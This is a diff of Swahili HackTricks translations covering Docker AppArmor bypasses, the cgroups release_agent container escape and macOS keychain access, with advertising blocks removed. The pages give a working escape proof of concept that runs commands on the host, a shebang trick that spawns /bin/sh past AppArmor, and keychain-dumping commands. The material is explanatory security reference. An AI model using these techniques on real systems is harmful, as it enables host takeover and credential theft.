* **Madirisha**/**faili** mengine ya /**proc** na /**sys** **yanakataliwa** upatikanaji wa kusoma/kuandika/kufunga/kuunganisha/kutekeleza
|
||||
* **Kuweka** **hakuruhusiwi**
|
||||
* **Ptrace** inaweza kuendeshwa tu kwenye mchakato ambao umepunguziliwa mbali na **profil ya apparmor** ile ile
|
||||
|
||||
Maranyingi **unapoendesha chombo cha docker** unapaswa kuona matokeo yafuatayo:
|
||||
Mara tu unapofanya **kazi na kontena la docker** unapaswa kuona matokeo yafuatayo:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
Tafadhali elewa kwamba **apparmor itazuia hata uwezo wa ruhusa** zilizotolewa kwa chombo kwa chaguomsingi. Kwa mfano, itaweza **kuzuia ruhusa ya kuandika ndani ya /proc hata kama uwezo wa SYS\_ADMIN umetolewa** kwa sababu kwa chaguomsingi, maelezo ya apparmor ya docker yanakataa ufikio huu:
|
||||
Note that **apparmor itazuia hata uwezo wa haki** uliotolewa kwa kontena kwa default. Kwa mfano, itakuwa na uwezo wa **kuzuia ruhusa ya kuandika ndani ya /proc hata kama uwezo wa SYS\_ADMIN umepatiwa** kwa sababu kwa default profaili ya apparmor ya docker inakataa ufikiaji huu:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
Unahitaji **kulemaza apparmor** ili kuzidi vizuizi vyake:
|
||||
Unahitaji **kuondoa apparmor** ili kupita vizuizi vyake:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
Tafadhali elewa kwamba kwa chaguo-msingi **AppArmor** pia **itazuia kontena kufunga** folda kutoka ndani hata na uwezo wa SYS\_ADMIN.
|
||||
Note that by default **AppArmor** itakataza **kontena kuunganisha** folda kutoka ndani hata na uwezo wa SYS\_ADMIN.
|
||||
|
||||
Tafadhali elewa kwamba unaweza **kuongeza/kuondoa** **uwezo** kwa kontena ya docker (hii bado itazuiliwa na njia za ulinzi kama **AppArmor** na **Seccomp**):
|
||||
Note that you can **ongeza/ondoa** **uwezo** kwa kontena la docker (hii bado itakuwa na mipaka kutokana na mbinu za ulinzi kama **AppArmor** na **Seccomp**):
|
||||
|
||||
* `--cap-add=SYS_ADMIN` inatoa uwezo wa `SYS_ADMIN`
|
||||
* `--cap-add=ALL` inatoa uwezo wote
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` inaondoa uwezo wote na kutoa tu `SYS_PTRACE`
|
||||
* `--cap-add=SYS_ADMIN` toa uwezo wa `SYS_ADMIN`
|
||||
* `--cap-add=ALL` toa uwezo wote
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` ondoa uwezo wote na toa tu `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
Kawaida, unapopata kwamba una **uwezo wa kipekee** uliopo **ndani** ya **kontena ya docker** lakini sehemu fulani ya **kudukua haifanyi kazi**, hii ni kwa sababu **apparmor ya docker itakuwa inazuia**.
|
||||
Kawaida, unapogundua kuwa una **uwezo wa kipaumbele** uliopatikana **ndani** ya **kontena** la **docker** **lakini** sehemu fulani ya **kuvamia haifanyi kazi**, hii itakuwa kwa sababu docker **apparmor itakuwa ikizuia**.
|
||||
{% endhint %}
|
||||
|
||||
### Mfano
|
||||
|
||||
(Mfano kutoka [**hapa**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
|
||||
Ili kufafanua utendaji wa AppArmor, niliunda wasifu mpya wa Docker "mydocker" na mstari ufuatao ulioongezwa:
|
||||
Ili kuonyesha kazi ya AppArmor, niliumba profaili mpya ya Docker “mydocker” na mstari ufuatao umeongezwa:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
Ili kuanzisha wasifu, tunahitaji kufanya yafuatayo:
|
||||
Ili kuamsha wasifu, tunahitaji kufanya yafuatayo:
|
||||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
Kutaja maelezo, tunaweza kutumia amri ifuatayo. Amri hapa chini inataja maelezo yangu ya AppArmor mpya.
|
||||
Ili kuorodhesha wasifu, tunaweza kufanya amri ifuatayo. Amri iliyo hapa chini inaorodhesha wasifu wangu mpya wa AppArmor.
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
Kama inavyoonekana hapa chini, tunapata kosa tunapojaribu kubadilisha "/etc/" kwani wasifu wa AppArmor unazuia ufikiaji wa kuandika kwenye "/etc".
|
||||
Kama inavyoonyeshwa hapa chini, tunapata kosa tunapojaribu kubadilisha “/etc/” kwani profaili ya AppArmor inazuia ufikiaji wa kuandika kwenye “/etc”.
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### Kizuizi cha AppArmor cha Docker Bypass1
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
Unaweza kujua ni **wasifu gani wa apparmor unatumika kwenye kontena** kwa kutumia:
|
||||
Unaweza kupata ni **profil ya apparmor ipi inayoendesha kontena** kwa kutumia:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
Kisha, unaweza kukimbia mstari ufuatao **kupata wasifu sahihi unao tumika**:
|
||||
Kisha, unaweza kukimbia mstari ufuatao ili **kupata wasifu halisi unaotumika**:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
Katika kesi ya ajabu unaweza **kurekebisha wasifu wa apparmor wa docker na kuuweka upya.** Unaweza kuondoa vizuizi na "kuvuka" yao.
|
||||
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
|
||||
|
||||
### Kuvuka AppArmor ya Docker2
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmor inategemea njia**, hii inamaanisha hata kama inaweza **kulinda** faili ndani ya saraka kama **`/proc`** ikiwa unaweza **kuweka jinsi kontena itakavyotekelezwa**, unaweza **kufunga** saraka ya proc ya mwenyeji ndani ya **`/mwenyeji/proc`** na **hakitakuwa tena kilinziwa na AppArmor**.
|
||||
**AppArmor ni msingi wa njia**, hii inamaanisha kwamba hata kama inaweza kuwa **inalinda** faili ndani ya directory kama **`/proc`** ikiwa unaweza **kuunda mipangilio ya jinsi kontena litakavyokuwa linaendeshwa**, unaweza **kuunganisha** directory ya proc ya mwenyeji ndani ya **`/host/proc`** na haitakuwa **inalindwa na AppArmor tena**.
|
||||
|
||||
### Kuvuka Shebang ya AppArmor
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
Katika [**kosa hili**](https://bugs.launchpad.net/apparmor/+bug/1911431) unaweza kuona mfano wa jinsi **hata kama unazuia perl kutumika na rasilimali fulani**, ikiwa tu unajenga script ya shel **ukiainisha** kwenye mstari wa kwanza **`#!/usr/bin/perl`** na **utekelezi faili moja kwa moja**, utaweza kutekeleza chochote unachotaka. K.m.:
|
||||
Katika [**bug hii**](https://bugs.launchpad.net/apparmor/+bug/1911431) unaweza kuona mfano wa jinsi **hata kama unazuia perl kuendeshwa na rasilimali fulani**, ikiwa tu unaunda script ya shell **ikiashiria** katika mstari wa kwanza **`#!/usr/bin/perl`** na unafanya **kufanya kazi hiyo moja kwa moja**, utaweza kutekeleza chochote unachotaka. E.g.:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
|
@ -281,29 +267,17 @@ exec "/bin/sh"' > /tmp/test.pl
|
|||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malware za kuiba**.
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malware za kuiba taarifa.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,37 +1,24 @@
|
|||
# Kutoroka kwa cgroups ya Docker release\_agent
|
||||
# Docker release\_agent cgroups escape
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**Kwa maelezo zaidi, rejelea** [**blogu ya asili**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Hii ni muhtasari tu:
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malware za wizi**.
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malware za kuiba taarifa.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Kwa maelezo zaidi, tazama** [**chapisho la blogi la asili**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Hii ni muhtasari tu:
|
||||
|
||||
Poc ya Asili:
|
||||
Original PoC:
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
|
|
@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
**Uthibitisho wa dhana (PoC)** unaonyesha njia ya kutumia cgroups kwa kuunda faili ya `release_agent` na kuzindua wito wake kutekeleza amri za kupindukia kwenye mwenyeji wa kontena. Hapa kuna maelezo ya hatua zilizohusika:
|
||||
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
|
||||
|
||||
1. **Andaa Mazingira:**
|
||||
* Dhibiti `/tmp/cgrp` inaundwa kutumika kama kituo cha kufunga kwa cgroup.
|
||||
* Msimamizi wa cgroup wa RDMA unafungwa kwa saraka hii. Kwa kesi ya kutokuwepo kwa msimamizi wa RDMA, inapendekezwa kutumia msimamizi wa cgroup wa `memory` kama mbadala.
|
||||
1. **Tayarisha Mazingira:**
|
||||
* A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
|
||||
* The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Wekeza Kikundi cha Mtoto:**
|
||||
* Kikundi cha mtoto kinachoitwa "x" kinaundwa ndani ya saraka iliyofungwa ya kikundi.
|
||||
* Taarifa zinaanzishwa kwa kikundi cha "x" kwa kuandika 1 kwenye faili yake ya notify\_on\_release.
|
||||
2. **Set Up the Child Cgroup:**
|
||||
* Cgroup ya mtoto inayoitwa "x" inaundwa ndani ya saraka ya cgroup iliyowekwa.
|
||||
* Arifa zinawekwa kuwa active kwa cgroup "x" kwa kuandika 1 kwenye faili yake ya notify\_on\_release.
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Sanidi Wakala wa Kutolewa:**
|
||||
* Njia ya chombo kwenye mwenyeji inapatikana kutoka faili ya /etc/mtab.
|
||||
* Faili ya release\_agent ya cgroup inasanidiwa kutekeleza script iliyoitwa /cmd iliyoko kwenye njia ya mwenyeji iliyopatikana.
|
||||
* Njia ya kontena kwenye mwenyeji inapatikana kutoka kwa faili ya /etc/mtab.
|
||||
* Faili ya release\_agent ya cgroup kisha inasanidiwa kutekeleza skripti inayoitwa /cmd iliyoko kwenye njia ya mwenyeji iliyopatikana.
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **Unda na Sanidi Skripti ya /cmd:**
|
||||
* Skripti ya /cmd inaundwa ndani ya chombo na kusanidiwa kutekeleza ps aux, ikielekeza matokeo kwenye faili iliyoitwa /output kwenye chombo. Njia kamili ya /output kwenye mwenyeji inatajwa.
|
||||
4. **Create and Configure the /cmd Script:**
|
||||
* Skripti ya /cmd inaundwa ndani ya kontena na inasanidiwa kutekeleza ps aux, ikielekeza matokeo kwenye faili linaloitwa /output ndani ya kontena. Njia kamili ya /output kwenye mwenyeji imeainishwa.
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
5. **Kuzindua Shambulio:**
|
||||
* Mchakato unaanzishwa ndani ya cgroup ya mtoto "x" na mara moja unakomeshwa.
|
||||
* Hii inazindua `release_agent` (script ya /cmd), ambayo inatekeleza ps aux kwenye mwenyeji na kuandika matokeo kwa /output ndani ya kontena.
|
||||
5. **Trigger the Attack:**
|
||||
* Mchakato unaanzishwa ndani ya cgroup ya mtoto "x" na mara moja unakatishwa.
|
||||
* Hii inasababisha `release_agent` (script ya /cmd), ambayo inatekeleza ps aux kwenye mwenyeji na kuandika matokeo kwenye /output ndani ya kontena.
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malware za kuiba**.
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malware za kuiba taarifa.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & jifanye AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & jifanye GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,34 +15,21 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Main Keychains
|
||||
|
||||
* **User Keychain** (`~/Library/Keychains/login.keycahin-db`), ambayo inatumika kuhifadhi **credentials za mtumiaji** kama vile nywila za programu, nywila za mtandao, vyeti vilivyoundwa na mtumiaji, nywila za mtandao, na funguo za umma/za faragha zilizoundwa na mtumiaji.
|
||||
* **System Keychain** (`/Library/Keychains/System.keychain`), ambayo inahifadhi **credentials za mfumo mzima** kama vile nywila za WiFi, vyeti vya mfumo wa mizizi, funguo za faragha za mfumo, na nywila za programu za mfumo.
|
||||
* **Keychain ya Mtumiaji** (`~/Library/Keychains/login.keycahin-db`), ambayo inatumika kuhifadhi **akidi za mtumiaji** kama vile nywila za programu, nywila za mtandao, vyeti vilivyoundwa na mtumiaji, nywila za mtandao, na funguo za umma/za faragha zilizoundwa na mtumiaji.
|
||||
* **Keychain ya Mfumo** (`/Library/Keychains/System.keychain`), ambayo inahifadhi **akidi za mfumo mzima** kama vile nywila za WiFi, vyeti vya mizizi ya mfumo, funguo za faragha za mfumo, na nywila za programu za mfumo.
|
||||
|
||||
### Password Keychain Access
|
||||
### Upatikanaji wa Nywila ya Keychain
|
||||
|
||||
Faili hizi, ingawa hazina ulinzi wa ndani na zinaweza **downloaded**, zimefungwa na zinahitaji **nywila ya mtumiaji ya maandiko ili kufunguliwa**. Chombo kama [**Chainbreaker**](https://github.com/n0fate/chainbreaker) kinaweza kutumika kwa ajili ya ufunguo.
|
||||
Faili hizi, ingawa hazina ulinzi wa ndani na zinaweza **kupakuliwa**, zimefungwa na zinahitaji **nywila ya mtumiaji ya maandiko ili kufunguliwa**. Chombo kama [**Chainbreaker**](https://github.com/n0fate/chainbreaker) kinaweza kutumika kwa kufungua.
|
||||
|
||||
## Keychain Entries Protections
|
||||
## Ulinzi wa Kuingia kwa Keychain
|
||||
|
||||
### ACLs
|
||||
|
||||
Kila ingizo katika keychain linaongozwa na **Access Control Lists (ACLs)** ambazo zinaelekeza nani anaweza kufanya vitendo mbalimbali kwenye ingizo la keychain, ikiwa ni pamoja na:
|
||||
Kila kuingia katika keychain inasimamiwa na **Orodha za Udhibiti wa Upatikanaji (ACLs)** ambazo zinaelekeza nani anaweza kufanya vitendo mbalimbali kwenye kuingia kwa keychain, ikiwa ni pamoja na:
|
||||
|
||||
* **ACLAuhtorizationExportClear**: Inaruhusu mwenyewe kupata maandiko ya siri.
|
||||
* **ACLAuhtorizationExportWrapped**: Inaruhusu mwenyewe kupata maandiko ya wazi yaliyofichwa kwa nywila nyingine iliyotolewa.
|
||||
|
|
@ -54,15 +41,15 @@ ACLs zinakuja na **orodha ya programu zinazotegemewa** ambazo zinaweza kufanya v
|
|||
* Orodha **tyupu** (**hakuna mtu** anategemewa)
|
||||
* **Orodha** ya **programu** maalum.
|
||||
|
||||
Pia ingizo linaweza kuwa na funguo **`ACLAuthorizationPartitionID`,** ambayo inatumika kutambua **teamid, apple,** na **cdhash.**
|
||||
Pia kuingia kunaweza kuwa na funguo **`ACLAuthorizationPartitionID`,** ambayo inatumika kutambua **teamid, apple,** na **cdhash.**
|
||||
|
||||
* Ikiwa **teamid** imeainishwa, basi ili **kupata thamani ya ingizo** **bila** **kuombwa** programu iliyotumika lazima iwe na **teamid sawa**.
|
||||
* Ikiwa **apple** imeainishwa, basi programu inahitaji kuwa **imedhaminiwa** na **Apple**.
|
||||
* Ikiwa **teamid** imeainishwa, basi ili **kupata thamani ya kuingia** **bila** **kuombwa** programu inayotumika lazima iwe na **teamid sawa**.
|
||||
* Ikiwa **apple** imeainishwa, basi programu inahitaji kuwa **imewekwa saini** na **Apple**.
|
||||
* Ikiwa **cdhash** imeainishwa, basi **programu** lazima iwe na **cdhash** maalum.
|
||||
|
||||
### Creating a Keychain Entry
|
||||
### Kuunda Kuingia kwa Keychain
|
||||
|
||||
Wakati **ingizo jipya** linaundwa kwa kutumia **`Keychain Access.app`**, sheria zifuatazo zinatumika:
|
||||
Wakati **kuingia** **mpya** inaundwa kwa kutumia **`Keychain Access.app`**, sheria zifuatazo zinatumika:
|
||||
|
||||
* Programu zote zinaweza kuficha.
|
||||
* **Hakuna programu** zinaweza kusafirisha/kufungua (bila kuombwa mtumiaji).
|
||||
|
|
@ -70,7 +57,7 @@ Wakati **ingizo jipya** linaundwa kwa kutumia **`Keychain Access.app`**, sheria
|
|||
* Hakuna programu zinaweza kubadilisha ACLs.
|
||||
* **partitionID** imewekwa kuwa **`apple`**.
|
||||
|
||||
Wakati **programu inaunda ingizo katika keychain**, sheria ni tofauti kidogo:
|
||||
Wakati **programu inaunda kuingia katika keychain**, sheria ni tofauti kidogo:
|
||||
|
||||
* Programu zote zinaweza kuficha.
|
||||
* Ni **programu inayounda** pekee (au programu nyingine yoyote iliyoongezwa wazi) zinaweza kusafirisha/kufungua (bila kuombwa mtumiaji).
|
||||
|
|
@ -78,7 +65,7 @@ Wakati **programu inaunda ingizo katika keychain**, sheria ni tofauti kidogo:
|
|||
* Hakuna programu zinaweza kubadilisha ACLs.
|
||||
* **partitionID** imewekwa kuwa **`teamid:[teamID hapa]`**.
|
||||
|
||||
## Accessing the Keychain
|
||||
## Upatikanaji wa Keychain
|
||||
|
||||
### `security`
|
||||
```bash
|
||||
|
|
@ -100,36 +87,36 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
Utaratibu wa **keychain** na kutolewa kwa siri ambazo **hazitazalisha ujumbe** zinaweza kufanywa kwa kutumia chombo [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
Utaratibu wa **kuhesabu na kutupa** siri ambazo **hazitazalisha ujumbe** zinaweza kufanywa kwa kutumia chombo [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
{% endhint %}
|
||||
|
||||
Orodhesha na pata **info** kuhusu kila kiingilio cha keychain:
|
||||
Orodhesha na pata **habari** kuhusu kila kipengee cha keychain:
|
||||
|
||||
* API **`SecItemCopyMatching`** inatoa info kuhusu kila kiingilio na kuna baadhi ya sifa unaweza kuweka unapoitumia:
|
||||
* API **`SecItemCopyMatching`** inatoa habari kuhusu kila kipengee na kuna baadhi ya sifa unaweza kuweka unapoitumia:
|
||||
* **`kSecReturnData`**: Ikiwa ni kweli, itajaribu kufungua data (weka kuwa uongo ili kuepuka pop-up zinazoweza kutokea)
|
||||
* **`kSecReturnRef`**: Pata pia rejea kwa kipengee cha keychain (weka kuwa kweli ikiwa baadaye utaona unaweza kufungua bila pop-up)
|
||||
* **`kSecReturnAttributes`**: Pata metadata kuhusu viingilio
|
||||
* **`kSecReturnAttributes`**: Pata metadata kuhusu vipengee
|
||||
* **`kSecMatchLimit`**: Ni matokeo mangapi ya kurudisha
|
||||
* **`kSecClass`**: Ni aina gani ya kiingilio cha keychain
|
||||
